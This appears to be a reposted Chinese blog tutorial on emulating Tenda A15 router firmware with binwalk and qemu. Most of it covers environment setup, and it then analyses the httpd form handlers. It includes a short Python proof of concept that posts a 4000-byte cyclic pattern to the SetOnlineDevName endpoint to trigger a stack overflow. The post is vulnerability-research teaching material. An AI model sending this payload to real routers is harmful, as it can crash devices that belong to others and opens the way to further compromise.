文章总结: 本文详细记录了TendaA15路由器固件模拟与漏洞复现全过程,包括binwalk工具安装、固件解包、qemu环境搭建、文件系统补全及网络配置等关键技术环节。通过分析httpd程序的initwebs函数和formDefineTendDa功能表,揭示了该IoT设备存在的安全风险,并提供了完整的漏洞复现环境搭建方案。 综合评分: 85 文章分类: IoT安全,漏洞分析,二进制安全,渗透测试,实战经验
IOT漏洞挖掘初体验-Tenda A15
原创
胡楚昊 胡楚昊
胡楚昊
2026年4月15日 20:58 河南
在小说阅读器读本章
去阅读
[原创][分享][注意][分享]Tenda A15 固件模拟与漏洞复现-二进制漏洞-看雪安全社区|专业技术交流与安全研究论坛
前言
最近在pwn大手子的带领下逐渐学习物联网安全,想着先复现一个典型漏洞看看。
首先需要准备以下工作:1.安装binwalk
binwalk是一把利刃。kali内置了binwalk,如果直接sudo apt install binwalk可能会使用的时候报错,原因可能是因为python包环境冲突,解决办法是删除冲突的环境,这里以我的为例:
python3 -m pip uninstall -y binwalk
rm -rf ~/.local/lib/python3.12/site-packages/binwalk*
sudo apt install --reinstall python3-binwalk binwalk -y
hash -r
2.安装sasquatch直接克隆仓库即可
git clone https://github.com/devttys0/sasquatch.git
cd sasquatch
我当时报了这个错误:
这里参考了https://xu17.top/2025/02/15/IOT%20%E5%9B%BA%E4%BB%B6%E5%88%86%E6%9E%90%E8%A7%A3%E5%8E%8B%E7%8E%AF%E5%A2%83%E6%90%AD%E5%BB%BA/的解决办法
如下: (虽然还会继续报错但是不影响日常使用了)
#在sasquatch 目录
sudo wget https://github.com/devttys0/sasquatch/pull/47.patch
sudo patch -p1 < 47.patch
sudo ./build.sh
输入which sasquatch正常回显就说明成功了
3.qemu
这里需要安装qemu-mipsel-static和qemu-system-mipsel这俩工具,用于在不同的系统架构上去模拟,用来执行目标程序
安装方法可以问AI,这里不多说了
固件解包与环境模拟
输入命令:binwalk -Me IOT.bin解包固件,出来一个文件系统
固件下载地址:https://static.tenda.com.cn/tdeweb/download/A15/US_A15V1.0RTL_V15.13.07.13_multi_TD01.zip
这里咱们需要关注bin目录下的httpd文件
> file httpd
httpd: ELF 32-bit LSB executable, MIPS, MIPS32 rel2 version 1 (SYSV), dynamically linked, interpreter /lib/ld-uClibc.so.0, with debug_info, not stripped
通过file命令,足以看出这是32位可执行文件,我们还可用checksec辅助判断一下:
> pwn checksec httpd
[*] '/home/kali/Downloads/_US_A15V1.0RTL_V15.13.07.13_multi_TD01.bin.extracted/squashfs-root/bin/httpd'
Arch: mips-32-little
RELRO: No RELRO
Stack: No canary found
NX: NX unknown - GNU_STACK missing
PIE: No PIE (0x400000)
Stack: Executable
RWX: Has RWX segments
说实话明显看出可能存在栈漏洞,具体的还需要进入程序分析
看到这是main函数,接下来用qemu模拟
需要注意,我们由于提取出了完整的文件系统,这里一般要把根目录设置成文件系统的路径,在这里至少先模拟出程序的运行环境
将 x86 架构下的 MIPS 翻译器(QEMU)复制到当前假根目录中:
cp $(which qemu-mipsel-static) .
然后运行:> sudo chroot . ./qemu-mipsel-static ./bin/httpd
不出意外的话会报错:
这里是因为我们qemu直接模拟执行,缺乏“开机”这个步骤,这个步骤会生成一些必须文件等关键操作,可以参考本文引用的两篇文章的描述:
在真实的 IoT 设备中,根文件系统(也就是提取出来的
squashfs)通常是只读的(Read-Only)。但是,
httpd服务在运行时,必须生成一些动态数据,比如:
- 记录当前进程号的 PID 文件
- 用户的 Session 缓存、临时上传的配置文件。
- 运行时的网络状态(
/var/run)。真实路由器的做法:在系统刚通电开机时,操作系统的启动脚本(
init)会在内存中划分出一块区域(tmpfs,也就是内存虚拟盘),然后把/var、/tmp等需要频繁读写的目录挂载到这个内存盘上。接着,它会把出厂默认的配置文件(存放在以_ro即 Read-Only 结尾的目录里)复制到真正的运行目录中。我们的模拟环境:提取出的
squashfs-root只是固件在关机状态下的静态文件。它缺少了开机时动态创建的那些目录,而且真正的配置文件还在etc_ro里睡大觉,真正的网页文件还在webroot_ro里。在目录etc_ro中有init.d目录,其中的文件就是启动项,但是不能直接去启动它,因为它包含
mount -t ramfs等命令会因为权限问题报错并且/sbin、/etc等绝对路径与实际不符合
解决办法是补环境
查看etc_ro内的文件:这就是开机初始化脚本rCs
#! /bin/sh
PATH=/sbin:/bin:/usr/sbin:/usr/bin/
export PATH
mount -t ramfs none /var/
mkdir -p /var/etc
mkdir -p /var/media
mkdir -p /var/webroot
mkdir -p /var/etc/iproute
mkdir -p /var/run
mkdir -p /etc/udhcpc
mkdir -p /var/debug
cp -rf /etc_ro/* /etc/
cp -rf /webroot_ro/* /webroot/
umount -f /tmp
mount -t tmpfs none /tmp -o size=3M
mount -a
mount -t ramfs /dev
mkdir /dev/pts
mount -t devpts devpts /dev/pts
mdev -s
mkdir /var/run
echo '/sbin/mdev' > /proc/sys/kernel/hotplug
#echo 'sd[a-z][0-9] 0:0 0660 @/usr/sbin/autoUsb.sh $MDEV' >> /etc/mdev.conf
#echo 'sd[a-z] 0:0 0660 $/usr/sbin/DelUsb.sh $MDEV' >> /etc/mdev.conf
#echo 'lp[0-9] 0:0 0660 */usr/sbin/IppPrint.sh'>> /etc/mdev.conf
#wds rule start
#echo 'wds*.* 0:0 0660 */etc/wds.sh $ACTION $INTERFACE' > /etc/mdev.conf
#wsd rule end
echo 'sd[a-z][0-9] 0:0 0660 @/usr/sbin/usb_up.sh $MDEV $DEVPATH' >> /etc/mdev.conf
echo '-sd[a-z] 0:0 0660 $/usr/sbin/usb_down.sh $MDEV $DEVPATH'>> /etc/mdev.conf
echo 'sd[a-z] 0:0 0660 @/usr/sbin/usb_up.sh $MDEV $DEVPATH'>> /etc/mdev.conf
echo '.* 0:0 0660 */usr/sbin/IppPrint.sh $ACTION $INTERFACE'>> /etc/mdev.conf
mkdir -p /var/ppp
# insmod /lib/modules/fastnat.ko
insmod /lib/modules/bm.ko
#insmod /lib/modules/ai.ko
# insmod /lib/modules/mac_filter.ko
#insmod /lib/modules/ip_mac_bind.ko
# insmod /lib/modules/privilege_ip.ko
# insmod /lib/modules/qos.ko
# insmod /lib/modules/url_filter.ko
# insmod /lib/modules/loadbalance.ko
#insmod /lib/modules/app_filter.ko
#insmod /lib/modules/port_filter.ko
#insmod /lib/modules/arp_fence.ko
#insmod /lib/modules/ddos_ip_fence.ko
echo "enable 0 interval 0" >/proc/watchdog_cmd
chmod +x /etc/mdev.conf
/*
BUG[41877]:DUT播放组播视频,概率性出现有线PC无法进入管理界面
解决SWITCH WAN口学到IP地址和BR0相同的arp表的问题
*/
echo 2 > /proc/sys/net/ipv4/conf/eth1/arp_ignore
看大佬的博客,解决办法如下:
1。先按照启动脚本的思路,补充一些文件/文件夹
mkdir -p ./var/etc
mkdir -p ./var/media
mkdir -p ./var/webroot
mkdir -p ./var/etc/iproute
mkdir -p ./var/run
mkdir -p ./var/etc/udhcpc
mkdir -p ./var/debug
mkdir -p ./dev/pts
mkdir -p ./var/ppp
mkdir -p ./tmp
cp -rf ./etc_ro/* ./var/etc/
cp -rf ./webroot_ro/* ./var/webroot
2。挂载(Mount):给程序装上“传感器,proc、sys、dev ,路由器程序(httpd)运行的时候,会去 /proc 里看系统状态。如果不挂载,它看到的文件夹就是空的,它会觉得自己跑在一个“死掉”的系统里,然后直接报错退出。
sudo mount -t proc /proc ./proc
sudo mount -t sysfs /sys ./sys
sudo mount --bind /dev ./dev
3.软链接
sudo ln -snf ./var/webroot ./webroot
4.网卡接口配置
为了“伪造”出路由器程序赖以生存的硬件环境,并打通与该程序之间的通信链路,让固件正常运行,我们必须在 Linux 内核中伪造出它所需的网络拓扑
可以看到是br0和80端口
运行下列命令:
sudo brctl addbr br0
sudo ip addr add 192.168.0.1/24 dev br0
sudo ip link set br0 up
继续运行:sudo chroot . ./qemu-mipsel-static ./bin/httpd
可以在相应的IP访问到网站,说明绑定成功:
看Tenda_AC15漏洞复现 | Thir0th’s Blog师傅博客,可以patch下httpd以便捷搭建复现环境,但是我没有尝试
漏洞分析
首先进入initwebs函数分析(main函数调用,通过函数名推测是一个初始化函数)
这里面还有一张这就是腾达(Tenda)路由器网页后台的「功能菜单总表」
void formDefineTendDa()
{
websAspDefine("aspGetCharset", aspGetCharset);
websFormDefine("getOnlineList", formGetOnlineList);
websAspDefine("asp_error_message", asp_error_message);
websAspDefine("asp_error_redirect_url", asp_error_redirect_url);
websFormDefine("SetOnlineDevName", formSetDeviceName);
websFormDefine("setBlackRule", formAddMacfilterRule);
websFormDefine("delBlackRule", formDelMacfilterRule);
websFormDefine("getBlackRuleList", formGetMacfilterRuleList);
websFormDefine("getDeviceInfo", formGetDeviceInfo);
websFormDefine("telnet", TendaTelnet);
websFormDefine("SysToolReboot", fromSysToolReboot);
websFormDefine("SysToolRestoreSet", fromSysToolRestoreSet);
websFormDefine("SysToolChangePwd", fromSysToolChangePwd);
websFormDefine("SysToolSetUpgrade", fromSysToolSetUpgrade);
websFormDefine("WifiBasicGet", formWifiBasicGet);
websFormDefine("WifiBasicSet", formWifiBasicSet);
websFormDefine("WifiApScan", formWifiApScan);
websFormDefine("ate", TendaAte);
websFormDefine("setApModeCfg", fromsetApModeCfg);
websFormDefine("getApModeCfg", fromgetApModeCfg);
websFormDefine("WifiExtraSet", fromSetWirelessRepeat);
websFormDefine("getQuicksetBridge", fromGetWirelessRepeat);
websFormDefine("getStatusBeforeBridge", fromGetWirelessRepeat);
websFormDefine("exit", formExit);
websFormDefine("hasLoginPwd", formhasLoginPwd);
websFormDefine("loginOut", fromLoginOut);
websFormDefine("sysToolsInfo", fromSysToolsInfo);
}
大佬说关注set之类的函数,和数据读写有关,可能存在栈溢出这种漏洞
分析处理SetOnlineDevName 请求的formSetDeviceName 函数,其中的set_device_name发现漏洞
在常规 Pwn 题里,接收输入的是 read(0, buf, size) 或者 gets(buf),直接从标准输入流读。
而在 Tenda 路由器的 formSetDeviceName 函数里,它绝对不会调用 scanf 或 read 等待你输入。websFormHandler 会把 HTTP POST 请求全部接收完毕,并解析成了内存里的一个字典结构
这是大佬给的POC:
import requests
from pwn import cyclic
ip = '192.168.0.1' # 填网桥 IP
url = f'http://{ip}/goform/SetOnlineDevName'
# 结合优势:攻击 mac 字段,并使用 4000 字节的超大探针!
payload = {
"mac": cyclic(4000),
"devName": "devname1"
}
print("[*] 正在发送 4000 字节的终极探针...")
try:
requests.post(url=url , data=payload, timeout=2)
except Exception:
print("[+] 目标已彻底断开,绝对当场暴毙!")
如果失败,需要patch一下程序的某个字节
看大佬博客,是在下图抛出错误的
需要nop掉灰色方框的语句
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:胡楚昊 胡楚昊 胡楚昊《IOT漏洞挖掘初体验-Tenda A15》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。










评论